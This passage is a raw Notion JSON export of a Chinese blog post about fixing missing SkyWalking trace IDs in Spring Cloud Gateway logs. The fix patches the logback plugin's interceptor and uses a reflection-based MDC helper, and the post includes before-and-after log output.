"]],"language":[["Java"]]},"created_time":1705771793829,"last_edited_time":1705771867301,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c6104167-a456-4af4-b62a-d87bd0dc5b7f":{"value":{"id":"c6104167-a456-4af4-b62a-d87bd0dc5b7f","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769231709,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"733c637e-92ba-4889-87a7-f84308daeb66":{"value":{"id":"733c637e-92ba-4889-87a7-f84308daeb66","type":"sub_header","properties":{"title":[["访问测试"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771870844,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"f698fa80-fe58-4bec-a2aa-0afc33e8ffc7":{"value":{"id":"f698fa80-fe58-4bec-a2aa-0afc33e8ffc7","type":"text","properties":{"title":[["通过网关访问testSkywalking测试结果如下"]]},"created_time":1705771871046,"last_edited_time":1705771894190,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5132098d-d3aa-4e40-ae84-0408e95d1039":{"value":{"id":"5132098d-d3aa-4e40-ae84-0408e95d1039","type":"text","properties":{"title":[["gateway日志"]]},"created_time":1705771894381,"last_edited_time":1705771944386,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"1fc83cb3-1d07-43aa-bdea-0b706377887c":{"value":{"id":"1fc83cb3-1d07-43aa-bdea-0b706377887c","type":"code","properties":{"title":[["[TID:N/A] [reactor-http-nio-4] ApiLogFilter:77 - 请求开始:\n\n方法:GET\nHost:localhost\nip:null\n请求接口:/user/xxx/test/testSkywalking\n\n[TID:N/A] [reactor-http-nio-4] com.tommi.pet.gateway.filter.ApiLogFilter:81 - 请求头:\n\n{\"Host\":[\"localhost:9999\"]}\n\n[TID:N/A] [reactor-http-nio-6] com.tommi.pet.gateway.filter.ApiLogFilter:101 - 请求结束信息:\n\n响应状态码:200\n请求耗时:1062ms\n\n[TID:N/A] [reactor-http-nio-6] com.tommi.pet.gateway.filter.ApiLogFilter:111 - 请求结束返回: \n\n{\"code\":0,\"message\":null,\"data\":\"1\",\"success\":true,\"timestamp\":1}"]],"language":[["Java"]]},"created_time":1705771950596,"last_edited_time":1705772143638,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"7bba3470-42ba-431c-9d63-49968c4ac543":{"value":{"id":"7bba3470-42ba-431c-9d63-49968c4ac543","type":"text","properties":{"title":[["user日志"]]},"created_time":1705771944641,"last_edited_time":1705771946746,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c419ccc0-1429-4f18-af45-d9833e0282eb":{"value":{"id":"c419ccc0-1429-4f18-af45-d9833e0282eb","type":"code","properties":{"title":[["[TID:xx.17057720223290001] [XNIO-1 task-1] TestController:54 - user-testSkywalking"]],"language":[["Java"]]},"created_time":1705771964329,"last_edited_time":1705772164352,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"91afc304-892f-42d3-bbcc-bb59e4fdd8d8":{"value":{"id":"91afc304-892f-42d3-bbcc-bb59e4fdd8d8","type":"quote","properties":{"title":[["可以明显看到user模块的tid是正常输出的,可是gateway的日志死活都是N/A"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705772250930,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"d9b07a77-5441-4573-8a13-db4be5c3ea3b":{"value":{"id":"d9b07a77-5441-4573-8a13-db4be5c3ea3b","type":"text","created_time":1705772218229,"last_edited_time":1705772218551,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"97e7928f-be51-43d0-b14d-05127bbeff35":{"value":{"id":"97e7928f-be51-43d0-b14d-05127bbeff35","type":"header","properties":{"title":[["尝试解决"]]},"created_time":1705772218229,"last_edited_time":1705772234403,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e325c70e-f58c-478c-90b8-eccec3b5d808":{"value":{"id":"e325c70e-f58c-478c-90b8-eccec3b5d808","type":"sub_header","properties":{"title":[["分析问题"]]},"created_time":1705772234694,"last_edited_time":1705772262480,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"584a5e58-4911-40f7-b4e8-67a14b578ba7":{"value":{"id":"584a5e58-4911-40f7-b4e8-67a14b578ba7","type":"text","properties":{"title":[["首先去去看看哪里输出的这个追踪码,没有找到9.0.0的源码,只找到8.7.0的源码,先搞下来研究研究:"],["https://github.com/apache/skywalking/blob/v8.7.0/",[["a","https://github.com/apache/skywalking/blob/v8.7.0/apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java"]]],["。然后定位到logback插件,去寻找tid在哪里输出的,最终找到如下:"]]},"created_time":1705772263804,"last_edited_time":1705772745135,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706":{"value":{"id":"4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706","type":"text","properties":{"title":[["apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java"]]},"created_time":1705772745402,"last_edited_time":1705773654817,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0d136c13-f56c-470a-82fd-2edf46b9e1da":{"value":{"id":"0d136c13-f56c-470a-82fd-2edf46b9e1da","type":"code","properties":{"title":[["\npublic class PrintTraceIdInterceptor implements InstanceMethodsAroundInterceptor {\n\n    @Override\n    public void beforeMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class<?>[] argumentsTypes,\n        MethodInterceptResult result) throws Throwable {\n\n    }\n\n    @Override\n    public Object afterMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class<?>[] argumentsTypes,\n        Object ret) throws Throwable {\n        if (!ContextManager.isActive()) {\n            if (allArguments[0] instanceof EnhancedInstance) {\n                SkyWalkingContext skyWalkingContext = (SkyWalkingContext) ((EnhancedInstance) allArguments[0]).getSkyWalkingDynamicField();\n                if (skyWalkingContext != null) {\n                    return \"TID:\" + skyWalkingContext.getTraceId();\n                }\n            }\n        }\n        return \"TID:\" + ContextManager.getGlobalTraceId();\n    }\n\n    @Override\n    public void handleMethodException(EnhancedInstance objInst, Method method, Object[] allArguments,\n        Class<?>[] argumentsTypes, Throwable t) {\n\n    }\n}"]],"language":[["Java"]]},"created_time":1705772766956,"last_edited_time":1705772779000,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"66932228-ed81-493f-ad40-f0cfa8a859d9":{"value":{"id":"66932228-ed81-493f-ad40-f0cfa8a859d9","type":"text","properties":{"title":[["观察代码无非就是skyWalkingContext.getTraceId()和ContextManager.xx输出的N/A。"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774181223,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"30bbe270-0897-4876-b780-500241acd206":{"value":{"id":"30bbe270-0897-4876-b780-500241acd206","type":"text","properties":{"title":[["Reator模式又有点陌生,无从下手。无意间从另外一篇博客中发现,其实exchange中是有这个tid的"]]},"created_time":1705772865632,"last_edited_time":1705773455696,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"a70ffef7-587f-481e-b2ef-c8635aa19049":{"value":{"id":"a70ffef7-587f-481e-b2ef-c8635aa19049","type":"image","properties":{"size":[["130.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/df0f3803-b946-4f27-8edd-749909bb63b2/Untitled.png"]]},"format":{"block_width":1408,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/df0f3803-b946-4f27-8edd-749909bb63b2/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5085227272727273,"block_preserve_scale":true},"created_time":1705773457212,"last_edited_time":1705773460698,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["df0f3803-b946-4f27-8edd-749909bb63b2"]}},"754bfdec-4110-434d-855b-a46fd419c980":{"value":{"id":"754bfdec-4110-434d-855b-a46fd419c980","type":"sub_header","properties":{"title":[["曲线救国"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705773519140,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"4efa436d-f550-4eda-ac48-8e6d733d8753":{"value":{"id":"4efa436d-f550-4eda-ac48-8e6d733d8753","type":"text","properties":{"title":[["gateway也就拦截器打印点日志,要不然就是exceptionHandler中打印。我要不然直接把这个值传给skywalking-logback插件就完了嘛。拿什么传呢,对的,使用MDC来传,同一个线程都可以传,并且改动最小。直接修改插件中PrintTraceIdInterceptor的源码如下,然后直接打包这个8.7的skywalking-logback插件替换掉原本apm-toolkit-logback-1.x-activation-9.0.0.jar插件(完全可用)"]]},"created_time":1705773519693,"last_edited_time":1705774253575,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0d416ba8-81ec-4468-abaa-3458beed1f20":{"value":{"id":"0d416ba8-81ec-4468-abaa-3458beed1f20","type":"code","properties":{"title":[["@Override\n    public Object afterMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class<?>[] argumentsTypes,\n        Object ret) throws Throwable {\n\n        String result;\n\n        if (!ContextManager.isActive()) {\n            if (allArguments[0] instanceof EnhancedInstance) {\n                SkyWalkingContext skyWalkingContext = (SkyWalkingContext) ((EnhancedInstance) allArguments[0]).getSkyWalkingDynamicField();\n                if (skyWalkingContext != null) {\n                    result = \"TID:\" + skyWalkingContext.getTraceId();\n                    return result;\n                } else {\n                    String tid = MDC.get(\"tid\");\n                    if (tid != null) {\n                        return \"TID:\" + tid;\n                    }\n                }\n            }\n        }\n        return \"TID:\" + ContextManager.getGlobalTraceId();\n    }"]],"language":[["Java"]]},"created_time":1705773670104,"last_edited_time":1705773704326,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5df9de5c-e418-4045-ad9b-5003dbc43a99":{"value":{"id":"5df9de5c-e418-4045-ad9b-5003dbc43a99","type":"text","properties":{"title":[["然后再搞一个工具类"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705773795354,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"c9f62dfd-e97e-45d1-afcf-f286342cbce3":{"value":{"id":"c9f62dfd-e97e-45d1-afcf-f286342cbce3","type":"code","properties":{"title":[["\n@Slf4j\npublic class SkywalkingUtil {\n\n    /**\n     * tid放入MDC\n     *\n     * @param exchange\n     */\n    public static void putTidIntoMdc(ServerWebExchange exchange) {\n        try {\n            Object entrySpanInstance = exchange.getAttributes().get(\"SKYWALKING_SPAN\");\n            if (ObjectUtil.isEmpty(entrySpanInstance)) {\n                return;\n            }\n            Class<?> entrySpanClazz = entrySpanInstance.getClass().getSuperclass().getSuperclass();\n            Field field = entrySpanClazz.getDeclaredField(\"owner\");\n            field.setAccessible(true);\n            Object ownerInstance = field.get(entrySpanInstance);\n            Class<?> ownerClazz = ownerInstance.getClass();\n            Method getTraceId = ownerClazz.getMethod(\"getReadablePrimaryTraceId\");\n            String traceId = (String) getTraceId.invoke(ownerInstance);\n            MDC.put(\"tid\", traceId);\n        } catch (Exception e) {\n            log.error(\"gateway追踪码获取失败\", e);\n        }\n    }\n\n}"]],"language":[["Java"]]},"created_time":1705773802256,"last_edited_time":1705773805881,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"eaafbb80-be83-4ef3-92b1-1df503ffe4f0":{"value":{"id":"eaafbb80-be83-4ef3-92b1-1df503ffe4f0","type":"text","properties":{"title":[["然后在gateway拦截器日志打印的地方加上以下代码,但是请求开始和请求结束是两个不同的线程啊,无法使用MDC来传递,架不住打印日志的地方都使用的一个exchange,当然为了保险你可以在每一个gatway模块的log之前加上以下语句"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774074463,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"e7c407ce-c395-47c7-a594-0955b82cdb60":{"value":{"id":"e7c407ce-c395-47c7-a594-0955b82cdb60","type":"code","properties":{"title":[["\n//打印开始日志的地方\nSkywalkingUtil.putTidIntoMdc(exchange);\n\n......\n\n//打印结束日志的地方\nSkywalkingUtil.putTidIntoMdc(exchange);"]],"language":[["Java"]]},"created_time":1705773848678,"last_edited_time":1705774038441,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"819553b3-aee8-4c8e-ba69-0120fe69cbd4":{"value":{"id":"819553b3-aee8-4c8e-ba69-0120fe69cbd4","type":"sub_header","properties":{"title":[["验证"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774081623,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"2da2c502-dcea-4989-b497-12bc4a5cf52b":{"value":{"id":"2da2c502-dcea-4989-b497-12bc4a5cf52b","type":"text","properties":{"title":[["gateway日志"]]},"created_time":1705774361544,"last_edited_time":1705774361702,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e7cc9331-e6d1-4a9c-b328-cd8b4b87e032":{"value":{"id":"e7cc9331-e6d1-4a9c-b328-cd8b4b87e032","type":"code","properties":{"title":[["[TID:xx.17057741377320011] [reactor-http-nio-2] ApiLogFilter:77 - 请求开始:\n\n方法:GET\nHost:localhost\nip:null\n请求接口:/user/user/pet/test/testSkywalking\n\n[TID:xx.17057741377320011] [reactor-http-nio-2] ApiLogFilter:81 - 请求头:\n\n{\"Host\":[\"localhost:9999\"]}\n\n[TID:xx.17057741377320011] [reactor-http-nio-7] ApiLogFilter:101 - 请求结束信息:\n\n响应状态码:200\n请求耗时:25ms\n\n[TID:xx.17057741377320011] [reactor-http-nio-7] ApiLogFilter:111 - 请求结束返回: \n\n{\"code\":0,\"message\":null,\"data\":\"1\",\"success\":true,\"timestamp\":1}"]],"language":[["Java"]]},"created_time":1705774157283,"last_edited_time":1705776557559,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0e05852c-3ee2-4087-a126-3de4e0942a19":{"value":{"id":"0e05852c-3ee2-4087-a126-3de4e0942a19","type":"text","properties":{"title":[["user日志"]]},"created_time":1705774370401,"last_edited_time":1705774374674,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"39cdd25c-bec1-4319-86b7-2b3db77e107a":{"value":{"id":"39cdd25c-bec1-4319-86b7-2b3db77e107a","type":"code","properties":{"title":[["[TID:xx.17057741377320011] [XNIO-1 task-1] TestController:54 - user-testSkywalking"]],"language":[["Java"]]},"created_time":1705774161119,"last_edited_time":1705774314220,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"19073c4d-640d-4621-9e5c-56a99d0255dc":{"value":{"id":"19073c4d-640d-4621-9e5c-56a99d0255dc","type":"text","properties":{"title":[["确实可用,完美解决"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774393126,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"65fc421b-dc9a-4a4c-b3b1-739e002e5d8d":{"value":{"id":"65fc421b-dc9a-4a4c-b3b1-739e002e5d8d","type":"header","properties":{"title":[["总结"]]},"created_time":1705774393415,"last_edited_time":1705774396717,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"fc0bc607-3ddb-47e6-879b-5229ae258f71":{"value":{"id":"fc0bc607-3ddb-47e6-879b-5229ae258f71","type":"bulleted_list","properties":{"title":[["就是把apm-toolkit-logback-1.x-activation插件改了点代码替换掉"]]},"created_time":1705774415784,"last_edited_time":1705774444503,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"f0568091-07d1-43b3-9a52-11cd0d74650d":{"value":{"id":"f0568091-07d1-43b3-9a52-11cd0d74650d","type":"bulleted_list","properties":{"title":[["然后在gatway模块的日志前面用MDC传了点值进到插件里面"]]},"created_time":1705774444819,"last_edited_time":1705774476384,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"31887616-fe32-43df-97c9-f850a7201f22":{"value":{"id":"31887616-fe32-43df-97c9-f850a7201f22","type":"bulleted_list","properties":{"title":[["相当取巧,因为gatway也没啥日志"]]},"created_time":1705774489583,"last_edited_time":1705774517420,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"065453d6-fec4-45d0-a4a6-8ddd1d07b18c":{"value":{"id":"065453d6-fec4-45d0-a4a6-8ddd1d07b18c","type":"bulleted_list","properties":{"title":[["目前看来没什么问题"]]},"created_time":1705774476680,"last_edited_time":1705774523959,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"19e3bbae-2412-427b-b58b-07013f336d4e":{"value":{"id":"19e3bbae-2412-427b-b58b-07013f336d4e","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"2fb486a5-74f6-4bcf-bf78-3f7142f7c121":{"value":{"id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","type":"column_list","content":["e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","e4bbc214-298b-4a2d-9269-99ef87b4e872","2822cf85-e741-4a15-913d-5905a02e0cd0"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d":{"value":{"id":"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","type":"column","content":["749d46cc-a88a-4a77-b6d8-d3a95fb2d652"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"e4bbc214-298b-4a2d-9269-99ef87b4e872":{"value":{"id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","type":"column","content":["cb6641a2-dc67-4250-a68f-06f20d4e5856","53f55fce-85fc-42d2-b4d9-16cbbec3544a"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"2822cf85-e741-4a15-913d-5905a02e0cd0":{"value":{"id":"2822cf85-e741-4a15-913d-5905a02e0cd0","type":"column","content":["1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"749d46cc-a88a-4a77-b6d8-d3a95fb2d652":{"value":{"id":"749d46cc-a88a-4a77-b6d8-d3a95fb2d652","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"cb6641a2-dc67-4250-a68f-06f20d4e5856":{"value":{"id":"cb6641a2-dc67-4250-a68f-06f20d4e5856","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2":{"value":{"id":"1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2822cf85-e741-4a15-913d-5905a02e0cd0","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"53f55fce-85fc-42d2-b4d9-16cbbec3544a":{"value":{"id":"53f55fce-85fc-42d2-b4d9-16cbbec3544a","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"80ee939b-8833-4392-a7e3-5687659406c1":{"value":{"id":"80ee939b-8833-4392-a7e3-5687659406c1","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec